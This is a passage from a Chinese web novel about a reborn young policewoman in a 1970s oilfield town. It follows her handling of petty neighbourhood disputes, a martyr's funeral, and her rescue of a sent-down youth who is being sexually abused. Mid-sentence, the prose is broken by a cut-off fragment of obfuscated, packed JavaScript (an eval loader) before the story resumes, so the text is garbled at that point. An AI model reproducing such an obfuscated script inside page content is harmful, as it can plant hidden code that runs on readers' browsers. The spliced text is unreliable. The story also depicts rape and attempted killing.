后面的老大妈急忙打断老头儿的话头。这事儿还是女同志更能感同身受,也知道刘老太闹开嚷嚷的原因,既然人家奶奶都做到这里了,她们外人干嘛还要给小姑娘泼脏水。她瞪了前面的老大爷一眼,拉过姜楠讲起来,“小姑娘,你别问他,他年纪那么大知道啥,你问我,我才刚过五十,看得真真儿的......” 姜楠暗地里扫了程改改一眼,见她不安地看着这里,姜楠心里叹口气,女孩儿遇到这种事儿,总是吃亏的。世人对男人格外宽容,而对女人呢?明明被非礼被占便宜的是女人,可世人却会觉得是女人的错。 姜楠不去想这些,既然刘老太叫嚷开了,那就按刘老太说的做吧。 四人加快记录的速度,很快了解了事情经过,对两位老人教育了一通,又安慰了程改改几句,也就回去了。这么点儿事,难道还真把人带回派出所啊?当事人都不想事情闹大,没必要,真的没必要。 接下来,姜楠和小组众人,又处理了邻居因为两棵葱吵起来的事儿,以及小孩子偷邻居家的大白兔,被邻居带到派出所告状的事儿。 中午派出所食堂,吃着香喷喷的红烧肉,姜楠却开始怀疑人生:她的警察生涯,就是处理这些鸡毛蒜皮的小事儿的? 【宿主,你这是基层民警,能处理这些已经很好了。而且你看,三个案子,我们得了一个吃瓜币呢。】 姜楠:呵呵,呵呵呵。 “小姜啊,你怎么了?是不是案子太多,累着了?” 关顺十分关心组里的女同志,笑话,整个外勤就俩女的,他们组里就有一个,这比大熊猫都珍贵呢。 要知道,很多时候出外勤,女同志比他们占优势。 他们一个个虽说不是五大三粗吧,但也是没什么亲和力的大老爷们儿,一去现场,大家基本上都不怎么跟他们说话,问口供的时候也就比较耽误时间。 但是今天就不同了,姜楠几句话功夫,就让大家打开了话匣子,这还不值得他好好珍惜吗? 对于组里唯一的女外勤,关顺可是十分宝贵的。 “关组长,我没事儿。”姜楠扯了扯嘴角,吃了一口红烧肉,顺嘴问,“我爸他们单位都回家吃午饭,为什么咱们派出所要在单位吃饭啊?” “哎。”关顺深深叹了口气,强子和小眼镜也一副不愿多谈的凄惨模样,看得姜楠更好奇了。 “因为很多人就喜欢趁着大中午的过来报案。”关顺说,“他们不想请假扣全勤奖,就趁着午休的时候过来报案。而且很多人住筒子楼,这做饭的时候最容易发生矛盾,这个时候报警的就格外多。” 他再次叹气:“蓝所长就让外勤轮流在中午值班,每次两个组,今天就是第五组和咱们组值班。不过你别担心,中午值班的话,下午下班会比大家早一个小时,也不吃亏的。” 姜楠乐呵呵地吃着午饭,却不知筒子楼里已经闹翻了天。 原来刘老太带着孙女回家,越想越不是滋味儿,老吴头占了这么大的便宜,凭啥就算了。警察在的时候她不敢闹,都回到家了,她还怕啥?要是不闹一闹,那老不死的还不得以为她们老程家是好欺负的。 刘老太越想越气,她一口气奔上四楼,硬邦邦地吩咐孙女:“回家去,没你的事儿。” 说完,也不顾程改改听没听进去,邦邦邦地开始砸吴家的门:“老吴头,你给我出来,我知道你在家,你给我出来,别跟个缩头乌龟一样。占了老娘的便宜,想就这么算了,老娘告诉你,没门儿!你也不出去打听打听,我刘大丫可不是那么好欺负的。你今儿要是不出点儿血,我刘大丫可不会就这么算了。” 老吴头本来就心虚,他刚被放出来啊,这第一天就见了警察,儿子孙子要是知道了,可不得削他一层皮。幸亏两人不在,不然不一定怎么样呢。 他想了想,拿着今儿买的一网兜苹果,打开门,舔着脸赔罪道:“大妹子,今儿真是误会,我是被后面的大哥撞了一下,这才往前栽,碰着你了吧?喏,这是今儿买的苹果,你拿回家去,就当我赔罪的,你看怎么样?” 刘老太见这么轻易就得了一袋子苹果,战斗力迅速飙升,她一把抢过网兜,掐着腰骂道:“一兜儿苹果就算了?你也太瞧不起人了。”她一屁股撞开老吴头,大步进了吴家的门,今儿这老吴家,她刘老太洗劫了! 方阿婆和孙巧莲在门口探头探脑,就连不常出门的林大叔都拄着拐,在门口张望。只见老吴头弓腰赔笑的,就连刘老太拿了一刀肉,能有半斤了吧,他都不敢伸手抢。方家婆媳对视一眼,觉得事情蹊跷。 刘老太跟得胜的大公鸡一样,抱着一摞儿‘赃物’,趾高气昂地回了家。 老吴头敢怒不敢言,呵呵僵笑着关上了门。 34. 派出所日常 幸运的是,姜楠中午第一次值班,并没有人来报案。六组五个人,开开心心地守了两个小时,打了两个小时的扑克。 下午刚上班,姜楠就被沈所长和蓝青山叫到了办公室。 “小楠,坐。”所长办公室里,沈明光坐在办公桌后,对面是两把黑色皮质圈椅,左边坐着蓝青山,姜楠在右边那把椅子上坐下。 “是这样,周知行同志的奶奶,是不是住在你们那栋楼里?”沈所长问。 “是的。”姜楠点点头,“他奶奶姓曹,还是我们楼的楼长。” “那好,因为周知行父母都是烈士,周知行又即将成为我们的同事,派出所决定明天上午去吊唁一下。明天我和蓝青山都会去,你也跟着吧。葬礼在东河岸大队举行,到时候我们骑自行车过去。”沈所长看向蓝青山,“我听说以后姜楠会和周知行做搭档?” 蓝青山:“是的。虽然周知行以前是军人,但军警不分家,周执行又是作战经验丰富的老同志了,让他带着姜楠这个女同志,我们也放心。” 沈所长点点头,对着姜楠道:“小姜,以后好好干。周同志是立过功的,跟着他吃不了亏。” 姜楠笑着应了,很快退了出来。 下午的姜楠,又是奔波在案件第一线的姜楠。不过她怎么也没想到,这次竟然和年为国有关。 年为国因为娶了特务小寡妇,被带走调查,如今还没被放出来,小寡妇也不见了。不知道怎么传的,大家都说年为国是因为乱搞男女关系,被警察抓走了,而小寡妇携款逃跑,不知所踪。年家人听说后,不仅不帮着打听如何脱罪,反而是第一时间抢起了年为国的工作,三兄弟在家都打成猪脑子了。 不仅如此,因为打得凶,还波及了看热闹的无辜群众,一个大爷的牙都被打掉了。这大爷可不能就这么算了,当即去派出所报了警,姜楠四人,又悲催地去了年为国居住的那片玻璃钢小区。 年家有四兄弟,三个哥哥参加工作早,都在油田做工人,正式工。年为国年纪最小,也是最受宠的,接了他爸爸的班做放映员。如今三个哥哥的孩子大了,也都面临没工作就下乡的窘境,可不就盯着工作呢嘛。 年为国至今还没放出来,工作保不齐会出什么差子,被三兄弟盯上太正常了。与其年为国被开除什么也捞不着,还不如把工作让出来,给家里的孩子接班。 只是每个人都这么想,工作只有一个,可不就争抢开了。姜楠四人到的时候,三兄弟还在地上滚呢,你踢我我踹你的,打得凶着呢。 姜楠心里清楚,年为国虽然媳妇儿被抓,但他本身是没问题的,应该不会被开除。不过他虽然没出卖什么消息,但都是他乱搞男女关系,才给油田招来了特务,差点儿造成大的损失,以后肯定不能再做放映员了。而且日后案子公布,大家也会躲着他,他的日子不会好过。 不过目前案件还在保密阶段,这些都不是她能说的,她要上前拉架,被关顺拉了一把,关顺说:“你别上去,他们打得凶,别伤了你。强子,小眼镜,跟我上去拉架。” 温强和邹立点点头,和关顺合作,一人拉一个,终于把三人分开。也是他们穿着警服,年家三兄弟不敢跟警察凶,只得乖乖被拉开。 不过虽然被拉开了,彼此看对方的眼神儿还霹雳吧啦,带着恨呢。 “好了,跟我们去派出所做笔录。你们打坏了张大爷的牙,得给人家赔偿。带走。”关顺严肃着一张脸,一马当先地走在最前面。 虽然一般的打架斗殴不会被带去派出所,可这次明显不一样,人家老大爷的牙都被打掉了,又是老大爷报的案,不能不给人家一个说法的。 三兄弟在警局又是一番争吵,先是争工作,被警察呵斥后,又是推诿不想补偿。整个下午,姜楠所在的第六组都在忙活这个案子,外勤审讯室里乱糟糟的,等终于处理完,也到了下班时间。 “真的能走吗?”才五点,虽然组长说可以早走一个小时,但看其他组还在忙活,姜楠也不敢第一个走。 废话,据姜楠上辈子的职场经验,混好职场第一条,就是不要做第一个走的人,不过你可以第二个走,嘿嘿。 关顺笑了:“当然能,我把这个材料给蓝所,也就回去了。小楠你先走吧,不用加班。” 职场第二条,想要第一个走,最好跟领导说一声。 哈哈,如果你是人傻钱多的良心外企,那当她没说喽。 姜楠高兴地嗯了一声,背起斜挎包和众人告别。先去更衣室换下警服,才飞速地赶往车棚,骑上她的永久大扛,嗖嗖两下蹿出了派出所大院儿。 【宿主,你这不是回家的路吧?】 “呦呵,小统,你都认识路了?”姜楠调侃了一句,回道,“这当了警察,当然要买点儿好吃的庆祝庆祝了。走,供销社,走起。” 都快傍晚了,供销社自然没剩什么好东西。姜楠逛了一圈儿,失望地撇撇嘴。说是供销社,其实也就不到十个柜台,还没上辈子姜楠租住小区的楼下,卖东西的店铺多呢,更不要跟后世的商场比了。 她再次来到成美娟所在的蔬果区,不甘心地又问了一遍:“啥果子都没了?” 成美娟噗嗤笑出了声,她声音爽朗,眼神中多了几分亲近,她说:“你这都当警察了,咋还跟个孩子似的?” 她左右看了看,见没什么人,才从柜台后拿出一网兜苹果,递过去道:“喏,知道你今天第一天上班,特意给你留的。” “呀。”姜楠眼神亮了亮,接过网兜,声音里都带着惊喜,她软软地说,“美娟姐,你咋知道我今天第一天上班?” 她自然感觉到了成美娟的亲近,也跟着改了称呼。 人与人结交,考量对方的社会地位,这不是错。 以前她没工作,成美娟虽然和她拉呱,但明显是冲着利益去的。如今她成了警察,成美娟眼神里没了往日的小傲娇,多了几分平等相待的熟稔热络,姜楠顺其自然地接了下来。 反正目前看来,成美娟没做过什么坏事,还是可以结交一二的。 成美娟好笑:“你的事儿都在咱们作业处传遍了,谁不知道?再说,你今天都来供销社了,我能不去看?咋样,当警察不赖吧?” “那当然不赖。”姜楠胸脯挺得高高的,嗯,抬头挺胸,高兴地掏出钱和票递了过去。 “小楠是吧?”旁边柜台的大姐蹿过来,自来熟地小声道,“还记得我不?那天晚上拿西瓜的时候见过,记得不?” “记得,您那天穿了件土黄碎花的上衣,可好看了。”姜楠无脑夸道。 “嘿嘿,在市里供销社买的,你要喜欢早点儿去,现在还有卖的呢。”土黄大姐实心肠儿地介绍,她左右看了看,凑过去低声问,“小楠,你在派出所,知不知道年为国和那小寡妇犯了啥事儿?” “啊,不都说小寡妇是携款逃跑的?”姜楠面露惊奇,表情十分自然,一点儿也看不出是在演戏。 土黄大姐见姜楠这个警察都不知道,立马来了兴致,她拍着大腿,说:“什么啊,我可看见了,她是被警察带走的!那天晚上我起来上厕所,正好看见个尾巴。第二天年为国从乡下回来,也被带走了。不知道大家咋传的,反正我看得真真儿的,可不是那么回事儿。” 姜楠心道果然做事情就没有能瞒过人的,她装着十分感兴趣的样子,说:“这我刚进派出所,也没听说他俩的事儿。估计不在我们派出所这里。” “那保不齐。”土黄大姐撇嘴,眼神十分鄙夷,“那俩人都不是啥好货,不回来才好呢。你不知道,这几天年家闹得可凶啦,这架都打了好几场,都盯着工作呢。” 土黄大姐巴拉巴拉,将年家和小寡妇批了个死透。要不是有人去大姐所在的糕点柜台买东西,她还不想走呢,看那架势,估摸还能拉呱两小时。 成美娟见人终于走了,长长松了口气,和姜楠对视一眼,两人噗嗤笑了出来。 成美娟犹豫了下,脸微微有些不自然,她问:“小楠,姐问你,你们楼上,是不是有个叫方南山的小伙子?” 姜楠挑挑眉,收回刚才‘成美娟可以相交’的话。她竟然看上了方南山,这什么眼神儿啊。据她所知,成美娟家条件很不错的,不然也不会来供销社做服务员,毕竟是八大员嘛,地位高收入好,可是很令人羡慕的。据说父母还是油田的小领导,难道...... “小统,成美娟她父亲,是不是方南山的领导?”姜楠问。 【是的,宿主。方南山入职那天,孙巧莲就带着方南山去了成家,而且......】系统有些可怜成美娟,【孙巧莲跟成美娟她爸,有过几次。】 姜楠心里骂了一句脏话,看向成美娟的眼神有些怜悯。 这方家母子,是可着一家羊薅啊。 她赶紧调整了下表情,很自然地回道:“是啊,方南山跟我家住一层,怎么,美娟姐,你认识?” 成美娟也还是个不到二十岁的小姑娘,听到回话脸更红了,她轻轻地嗯了一声,问道:“他家生活很困难吗?我很少看孙阿姨买水果。” “啊,这个。”姜楠有点儿麻爪儿了,这要不要掐灭小姑娘爱情的小火苗啊。掐吧,万一她想多了,是吧,说些莫名其妙的话,也怪不好意思的。这不掐吧,她又实在不想成美娟往火坑里跳啊。 姜楠有点儿麻爪儿,小心地说,“他上面有奶奶和妈妈,这两人都是寡妇。下面还有一对儿双胞胎弟弟,以前是他妈一个人工作养家。方南山在家是最受宠的,也是吃的最好的。虽然不经常买水果,但是肉还是经常吃的。” 姜楠深深地看了眼成美娟,她只能帮到这儿了啊。 成美娟要是聪明,就能想明白,一个寡妇要养四个人,家里还不缺肉,大儿子还读了高中,想想就不简单啊。不是说每个寡妇都不好,但孙巧莲这几年名声在外,成美娟只要不傻,琢磨琢磨,再稍微打听一下,就应该清楚了。 要是还想不明白,那姜楠也只能跟‘恋爱脑’挥手告别了。 这恋爱脑,真心受不了啊。好好的姑娘,不定扭曲成什么样儿呢。 姜楠深藏功与名,摆摆手,跟未来不知是敌是友的成美娟告别。 因着在供销社耽误了时间,姜楠到家属院时,筒子楼大部分人家都开始做起了晚饭,空气中飘荡着阵阵饭香。一些没事儿的大爷大妈照例在楼下的梧桐树下唠嗑,见到姜楠回来,个个热情地打招呼。 “哎呀,小楠警官回来了。这第一天上班,辛苦不辛苦啊?” “就是,小楠警官以后可要多在咱们大院儿巡逻啊,这样小贼都不敢来咱们大院儿了。” “大妈,我是分所民警,不是巡逻队的。”姜楠锁上车子,耐心解释道,“巡逻是派出所总局负责的,就是办公楼不远处的那个总局,我管不了啊,我是在勘探路的那个分所上班的。” “这样啊,我以为都是警察,原来不一样啊。” “分所啊。那分所可不咋好吧,肯定没总局厉害。要我说,女娃就是不行,立那么些功劳,也就一个分所的小警察,要是我家小强啊,肯定就到总局当干部了。” 有人羡慕,自然有人嫉妒。这不,隋家老太开始阴阳怪气,谁家没个高中毕业生,她家还是男娃呢,大家都没工作,凭啥就她姜楠当上警察了,哼,就是不服气。还敢看不上她家小强,一个丫头片子,整天嘚瑟个什么劲儿啊。 “哎呦喂,把你那副羡慕嫉妒恨的嘴脸收一收,别说小楠了,我看着都难受。”刘老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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巴拉巴拉,老太太们聊得嘎嘎乐,那笑声都直冲云霄了,姜楠一个小姑娘愣是插不上半句,干脆起身回家。 恰好到了下班时间,方南山、程大柱等工人陆续回来。姜楠哼着歌儿,心情贼拉好,第一天上班啊,能不好嘛。见到同样下班的人,那是十分应景儿地打招呼,才不是趁机显摆呢。 只是她没想到,身后盯着她的大爷大妈,在她跟方南山打招呼时,眼睛里那堪称名侦探柯南的光。 夭寿啦,姜楠难道真看上方家的大小子了?那可是个火坑,她咋还主动往里面跳呢?亏今天孙巧莲说的时候,他们还不信呢。这不就,妥妥打脸了嘛。 这小姑娘,看着挺聪明的啊,怎么啥也不懂呢,这找对象哪能只看脸呢。 大爷大妈边看边摇头,啧啧啧的,内心戏十分的丰富,当事人姜楠已经很快地回到家啦。 她回家没多久,姜满城夫妻俩也很快地下班回来。只是陈金花忧心忡忡,一看就还在为闺女担心。 姜满城没说什么,昨晚就劝过了,金花性子急担心闺女,只能等她慢慢想通。等三人坐在饭桌上时,姜满城才开口:“我今天想了一天,其实我们可以换个思路,如果我们不是执着于找到凶手,而是想办法化解十年后的危机,让爆炸案不再发生,是不是也算完成了主线任务?” 见母女俩眼睛亮晶晶地看着他,姜满城挑起嘴角,得意地笑了出来:“怎么样,我姜满城聪明吧?小楠,你问问系统,这样可不可以?他不是正义吃瓜联盟嘛,找到凶手,是为了救人,让爆炸案不发生,也是为了救人。不管过程如何,结果都一样的。” 他头昂得高高的,接着说:“再说,系统一次就能接通一个人,咱们老盯着找凶手,万一锁定错目标了呢?还是从爆炸案本身入手,寻找炸药来源,阻止好人变坏,或者让坏人得到应有的惩罚,结果不是一样?” 姜楠豁然开朗,是啊,结果一样,办法就不一样了。与其盯着找凶手,不如直接从爆炸案本身出发。而且阻止好人变坏,让坏人得到应有的惩罚,也是她做警察的意义啊。 【宿主,这样,好像,应该,也可以。等我跟主系统商量一下,看下是否可以开发一个小程序,监测爆炸案发生的概率,只要降到0,任务就成功。】 忧心忡忡的可不止陈金花一人。陈金花有人开解,已经露出笑脸儿了,别人却只能生闷气。 这不,隔壁老吴家,吴大锤气得恨不能掰开老头子的脑子,看他是咋想的。他今儿去特车队,跟儿子办了接班手续,中午还请相熟的同事吃了饭,给儿子拉关系。他虽然脑子不灵光,但也知道为儿子铺路。 可老头子呢,不知道为啥被派出所关了两天,已经够丢人的了,如今刚被放出来啊,才一天,一天就犯毛病,连人家小姑娘都不放过。 吴大锤气得想打人,他虽然也好色,但都是花点儿钱你情我愿的,哪会这么没品。 他气冲冲地开口:“你给我老实点儿。要是再这么不着调,你就回老家住着吧。那可是建国的同学,你怎么能这么做,还有没有点儿羞耻心了。” 别看老头子支支吾吾地不肯说实话,但父子二人一回来就被方家婆媳拉着问话,还能猜不到是为啥? 吴建国脸都变了,自从父母离婚,他出去总会被指指点点。如今好不容易没什么人提了,爷爷又这么不靠谱,他冷着脸,第一次应和父亲的话,他说:“爷爷,我现在接班了,以后也是要考虑结婚的事儿的。你再这样,可是没人会嫁到咱们家。要是老吴家绝了后,你就是老吴家的罪人。” 魔法还是得用另一个魔法才能打败。吴建国这句话虽然听着男权意味十足,但效果立竿见影。老吴头嗫嚅着嘴角,想说他是长辈,接触到儿子孙子愤恨的眼神,到底是点点头。 他,还指望着儿子孙子养老呢。 35. 野猪定情事件 上班第二天的姜楠,是顶着一张哭丧脸去吊唁的悲伤姜楠。这个表情哦,可是姜楠在镜子前练了半个小时,调整了很多细微面部表情,得出来的最佳表情。 不怪她紧张,自从来到这个世界,她就能看穿几乎所有人的心思。可以毫不夸张地说,任何人在她面前都是小透明,毛毛雨洒洒水啦。 可如今呢,哐当,来了个1.0男宿主,她不仅不知道这个人在想什么,还被他看穿了,你说恐不恐怖?反正在姜楠看来,这是她重生以来,最恐怖的事。 比她发现重生,绑定了系统还恐怖。 姜楠满肚子怨念,骑车跟在两位领导后面,和内勤的何琳何大姐并排。何琳就是入职那天带她去领劳保用品的小何,主职工作是派出所工会领导,兼任沈所长秘书,主要就是处理职工的生活问题。 一路上,何琳一直在打听曹老太的情况,这也属于她工作的一部分,姜楠将知道的都告诉了她,前面的两位所长也竖着耳朵听呢。 东河岸大队和西河岸大队相邻,从油田骑自行车过去,差不多是两个小时。四人八点就出发,到的时候葬礼已经开始了。因着是烈士,一应丧葬费用都由部队出,当晚那两位汉子就是操持这个的。 灵堂里,孝子贤孙身披素服,对每一个前来吊唁的人鞠躬。虽说现在不讲究大操大办,但对于烈士又不同,这相当于是一次追悼会了,谁也说不出什么。几乎每个村民都来了,衣服上别着白花,脸色肃穆。 远远的,姜楠还看到了几个高中的同学,甚至村里的知青也来了。还有她们楼里的刘老太、程改改祖孙俩,方阿婆、孙巧莲和方南笙、方南海四人,以及吴大锤和裘老太一行人。 这时候邻里之间的关系是很亲近的,而且曹老太是楼长,周元丰夫妻又是烈士,大家当时说的帮着操办葬礼可不是客套。昨天刘老太、方阿婆和裘老太三人,还挨家挨户收了礼金,今日代大家上礼呢。 不是她们逼着大家出礼金,而是很多人家都上班,没时间过来,委托这三个大妈帮着上礼。姜满城家还出了五毛钱呢。虽然今天姜楠也去,但她是代表派出所去的,而不是代表他们姜家,这个还是有区别的。 而且程改改和孙巧莲可是各有小心思的,这周知行来了之后就去收拾灵堂,在一号院消失了一天,她们想做些什么也找不到人啊。如今来吊唁就不同了,周知行现在肯定是最难受的时候,她们只要小意温柔,任周知行再高冷,也得拜倒在她们的石榴裙下。 两人心思各异,却殊途同归,都想着如何勾搭上周知行,而主角周知行却一无所知,他正跪在灵堂前,祭拜原身的父母呢。 灵堂前,沈所长一行人一出现,周知行起身迎出来,伸手和沈所长握在一起。周知行双眼通红,他不想哭,但原主的情绪太过浓烈,他也受到了影响。 沈所长先开口,他说:“小周同志,我是代表派出所来吊唁的,你别太悲伤了。你父母在天有灵,也是希望你能尽快走出来,继续为国家做贡献的。” 周知行点点头,瞄到后面的姜楠,顿了下,随后仿佛什么也没发生一样,带着几人去灵堂拜唁。 姜楠在周知行看过来时脸有些僵,不过她很快调整过来,在路过一个女知青时,脚步明显顿了一下。 【宿主,她被大队长的侄子欺负,准备一会儿将人约到小树林,一起同归于尽。如果你能拯救这个女知青,将获得一千吃瓜币的奖励哦。】 姜楠注意到,周知行的背影紧绷了一瞬,很快朝前走去。她眼神儿在村民中皴寻了一圈儿,对系统说:“她带刀了?她这么瘦,打不过那个大队长侄子吧?” 【她准备趁人不备的时候动手,而且她也没想活。】 “奖励加倍没?你上次可说了,奖励要加倍的。” 【已经加倍了,宿主,您放心,不会亏待您的。】 “我得好好想想怎么留下来,估计一会儿吊唁完,所长他们就得走。”姜楠心里着急,这种事儿肯定要管,她不能看一个无辜少女在村里受欺负,最后还要丧命。但用什么借口留下呢? 姜楠跟在两位所长身后鞠躬,脸色沉重。直到一只脚都要迈出灵堂了,还没找到理由。 却不想,曹老太赤红着双眼,刷一下从座位上起身,三两步跨出灵堂,死命推一个比她年纪还大的老太太,一脸的憎恶:“好几个王美凤,你还有脸来!元丰在世的时候你就不做人事儿,如今我孙子来了,你又故技重施,你个没脸没皮的缺德玩意儿,你给我滚!” 被称作王美凤的老太太一脸刻薄像,三角眼吊梢眉,蒜头鼻香肠嘴,怎么看怎么难看,听了曹老太的话当即叉腰:“我怎么没脸,我可是来给侄子送行的!我告诉你曹春草,你别给脸不要脸。我好歹是你大嫂,怎么的,你儿子当了领导,就不认我这个大伯娘了?!大家评评理,部队的领导同志们,你们快来看啊,这烈士的母亲不讲理啊。” “你给我闭嘴。”曹老太气得眼睛冒火,她不甘示弱地叉着腰,指着王美凤的鼻子怒骂,“你个不做人的老娼妇!别把人都当傻子,部队的领导同志才不稀得理你这个老货!让你娘家的外甥孙女给我滚蛋,不然我见一次打一次。什么狗东西,就敢往我家小行面前凑,也不撒泡尿照照她配不配!这个时候还敢作妖,也不怕我家元丰两个显灵撕了你们!没脸没皮的小娼妇!” “曹奶奶,您怎么能这么说话,你这是在宣扬封建迷信,是不对的。”对面人群里,一个蓝布上衣的少女双眼含泪,热切切地望着周知行,“周大哥,我......我没想做什么的,我就是想安慰安慰你。” 姜楠都被这个眼神儿肉麻到了,受不了地抖了抖,不过仍是看得直乐呵,全然忘了她还得想个留下来的借口呢。 至于沈明光和蓝青山,这不是,男人也爱八卦呀。而且他们自觉肩负重任,可不能让人在烈士灵堂打起来,这任务可不轻。 周知行忍着恶心,冲少女点点头,面无表情,嘴唇紧抿,却迎来另一位青衣少女的不满。这位也不是外人,是死去的周元丰烈士的小婶的外甥孙女,这不是,两位妯娌打着相同的主意,都想让外甥孙女嫁给周知行捞好处嘛。 两位少女别看在周知行面前柔弱,背地里可是没少干仗。这不,刚呛呛两句,就动起手来。年轻人火气旺,又是薅头发又是挠人脸的,半点儿没手软。 两家的男人们也憋着气呢。你说说,这部队的领导来了,可不得巴结巴结,好好奉承嘛。说不定就能看上了自家的小子,带去部队当兵了呢。这可就改换门庭了! 正是因着这些想头,昨天周知行一伙人回大队,大队那可是比过年还热闹。大伯、小叔的一个个热络得不行,就连不太认识的村里人都来帮忙。 周知行这个混过大家族的,还能不知道这些人的心思?他从原主对这几人有限的记忆看,这大伯小叔的,可都不是啥好东西。 周知行弯了弯嘴角,对其中的一个‘堂哥’道:“二哥,你快去拉拉,领导看你不顾危险去拉架,身手还不错,说不得对你的印象更好了呢。” 他的声音不大,却足以让周围的三个堂哥都听到。大小伙子没见过啥世面,觉得堂弟的话有道理啊,这想当兵,可不得表现表现。 四个大小伙子一跃而出,又彼此对视一眼,纷纷从其他人的眼里看出了敌意。 是啊,领导就算带人过去,也不可能带这么多,这些人可都是竞争对手。 四个人哼一声,快步奔着两个小姑娘而去。也不知是不是走得急,其中两个小伙子没走两步,啪叽,摔在了地上。农村的路如今都是土路,两个小伙子吃了一嘴的土,呸呸两声,爬起来就朝趁机走到前面的小伙子们扑去。 “让你绊我,你个混蛋!” “小人,是不是你踹我屁股,把我踹倒的?” 大小伙子打架那可是很凶的,灵堂前众人纷纷让出位置,却又舍不得走,围成一圈儿看热闹。姜楠看得津津有味儿,要不是系统提醒,她连正事儿都忘了。 【宿主,那个女知青去小树林儿了。】 姜楠愣了一下,当即反思了看热闹不务正业的行为,悄悄退出人群。 周知行嘴角微微翘起,又很快压了下去,他远远跟在姜楠身后,不动声色地朝后面扫了一眼,很好,两个想贴上来的女人跟上了。 小树林里,大队长侄子郭泰趴在女人身上直喘气,嘴上还不干不净地骂着:“小贱人,以前还跟我装什么贞洁烈女,这女人啊,就是贱!你说,你是不是贱?!”说着,边伸出手掐着女人的脖子,边动作不停。 女知青郑慧雯忍着恶心附和,悄悄从背后抽出一把水果刀。这是她昨天特意去公社买的,她恶狠狠地掐着身上的男人,狠狠刺了下去。 千钧一发之际,姜楠用力掷出一颗石子,稳稳打落了郑慧雯手上的刀,同时又快速投掷出一颗,郭泰还没反应过来怎么回事儿,人已经晕了过去。 姜楠赶忙上前,一脚踢开狗男人,狗男人咕噜噜在地上转了几圈儿。而郑慧雯泄了杀人的狠劲儿,整个人呆愣愣的。 姜楠三两步上前,替她整理好衣服,认真道:“同志,你听好。如果你想回城,就保存好今日的内裤和衣服。咬死了这个男人欺负你,要是不帮你回城,你就去派出所告他耍流氓,让他吃枪子儿,明白吗?这时候不要在乎脸面,只要能回城,那里没人知道你为什么回去。就算知道了,反正你也回去了,他们不能拿你怎么样,知道吗?” 郑慧雯一个机灵,双眼通红地看着姜楠。那眼神,仿若是行尸走肉突然焕发了生机,亮若星辰。她狠命地擦掉眼泪,重重点了下头。 姜楠松了口气,再次叮嘱:“一定要咬死了,谁劝谁威胁你,都不能松口,知道吗?你死都不怕,还怕别人说啥?这时候可不能要脸,一定要狠得下心,豁得下脸面。” “我知道。” 郑慧雯声音坚毅,另一边,周知行拖着两个女人过来,戏谑地说:“给你分担点儿火力。” 姜楠示意郑慧雯先走,郑慧雯艰难起身,一瘸一拐地离开。 见人走了,周知行很自然地打招呼:“你好啊,保护者大人~” 姜楠:“...............” 他果然什么都知道,这个小人! 姜楠努力保持平静,她问:“你想怎么做?” “把这三个人凑一块儿呗。”周知行调戏够了,耸耸肩,“她们想攀高枝儿,这个大队长的侄子就是个不错的高枝儿嘛,让她们去抢呗。我们一会儿出去,稍微透露一点儿,让大家过来捉奸......” “不行。”姜楠拒绝,“她俩虽然纠缠你,但是她们想过好日子,也不算什么大错。这样子会让两个女孩子没法儿做人的,不好。” 她姜楠,这点儿素质还是有的。她不是白莲花,只是不想通过毁女人清白的方式教训女人。教训人的方式千千万,她才不要选这种最下作的。 周知行愣了下,他想说这俩女的昨晚都想爬床了,要不是他睡觉机敏,说不得就中套儿了,哪里是需要人同情的。不过见姜楠眼神坚定,他无奈摊手:“那怎么办,就这么放着?” “嗯,放着吧,离那个臭男人远点儿。让她们在树林里躺上半天,也算是教训了。” 两人还没动作,周知行察觉到动静,嘘了一声,轻声道:“有人。” 郭泰和知青偷情,自然选的是深一些的林子,人少嘛。不想还有其他人,两人蹑手蹑脚地朝前走,却见一个汉子趴在地上,吭哧吭哧地从坑里拉一头野猪呢。 【他是村里的谷猎户。】系统道。 原来今日办丧事,村里人基本上都去了,谷猎户祭拜后,见大家还在那儿说话,就想着单独去林子里,看看陷阱怎么样了。以前猎到大家伙,还能卖了换钱。如今可不行,都得上交大队,再大家伙儿平分。谷猎户可不干,他家打猎可是祖传的手艺,怎么能让别人白沾光。 谷猎户偷偷在林子深处挖了几个陷阱,趁人不备就去瞧瞧。有大猎物就偷偷卖掉,兔子、野鸡这种小点儿的,就偷偷在山上吃了。他的小日子过得还是很不错的。 今日也是幸运,陷阱里竟然有一头野猪,看起来起码有三百斤。这种大家伙,拿去黑市,那妥妥是要发啊! 谷猎户当即跳下陷阱,将野猪从竹刺里拔出来,牢牢绑上绳索,然后跳出来趴在地上,吭哧吭哧往上拽啊。这不是野猪,是钱啊! 他也是力气大,竟真的拽上来了。姜楠和周知行看得目瞪口呆,姜楠是第一次见野猪,没想到这家伙这么丑,她别过眼,却看到一群人朝这边走来。 这些人不是别人,正是来祭拜的程改改、刘老太一群人。 程改改这不是想着和周知行处对象的事儿嘛,祭拜完就一直在找机会,无意间看到他朝小树林走去。心里那个喜啊,还以为周知行明白了她的心意,想引她去小树林告白呢。要不然为啥回头看她! 程改改脑子一热,也跟了上去。刘老太虽然重男轻女,但对孙女也是疼爱的,怎么会让她一个人出去,也跟了上来。 孙巧莲可也时刻盯着周知行的,这不是也跟了上来。 这一跟一串儿的,孙巧莲一家、吴大锤、裘老太等也坠在后面,跟糖葫芦似的。 最前面,程改改对林子不熟,又被林子里的树杈子绊了一跤,跟丢了。是以没看到郭泰和郑慧雯那一幕,不过远远闻到血腥味,几人虽迟但到。 “肉!”刘老太声音一如既往的高亢,她兴奋地说,“好啊,你在这里偷偷打猎,挖社会主义墙角!你......你要是识相,把野猪跟大家一起分了,我就不去革委会告你,否则你这可得蹲笆篱子!” 方阿婆咽咽口水,这么多肉,够吃很久了吧,她清清嗓子,柔声道:“这位同志,你这样做是不对的。这山上的猎物都是属于社员集体所有的,你不能偷偷藏匿。你这样不对,是要受到惩罚的。” 当然,分给他们就不用惩罚了,嘿嘿嘿。 谷猎户没想到,他没被村里人发现,倒被几个来祭拜的外乡人看到了。他本来就是个胆大的,当然不惧这些老娘们儿,可是......他看看人群里的吴大锤,这可是个五大三粗的汉子,且不好对付呢。 吴大锤这不是把工作让给儿子,等着重新招工呢嘛。他在家没事做,跟着大家过来祭拜,没想到遇到这种好事儿。 有便宜不占那是傻蛋,吴大锤重重地哼一声,大声道:“你这样做可不对,刘大妈说得对,只要你肯把肉跟大家平分,我们今天就饶了你。” 